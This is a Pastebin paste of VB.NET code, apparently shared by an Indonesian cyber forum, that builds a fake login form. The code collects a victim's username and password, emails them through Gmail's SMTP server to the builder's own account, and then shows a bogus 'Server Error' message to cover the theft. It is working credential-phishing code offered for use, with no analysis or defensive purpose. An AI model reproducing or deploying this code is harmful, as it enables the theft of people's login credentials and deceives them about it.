Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'Set to function
- 'Join Group FORUM DISKUSI CYBER INDONESIA
- '
- Imports System.Net.Mail
- '
- 'Make 2 Textbox and 1 CommandButton
- ' Use the code to command buton
- If TextBox1.Text = "" Then
- MsgBox("Username Is Missing")
- If TextBox2.Text = "" Then
- MsgBox("Password Is Mising")
- Else
- End If
- End If
- Dim smtpServer As New SmtpClient()
- Dim mail As New MailMessage()
- smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
- smtpServer.Port = 587
- smtpServer.Host = "smtp.gmail.com"
- smtpServer.EnableSsl = True
- mail = New MailMessage()
- mail.From = New MailAddress("Your Gmail")
- mail.To.Add("Your Gmail")
- mail.Subject = "Username: " & TextBox1.Text
- mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
- smtpServer.Send(mail)
- MsgBox("Disconnected From Server, Please try again later!", MsgBoxStyle.Critical, "Server Error")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement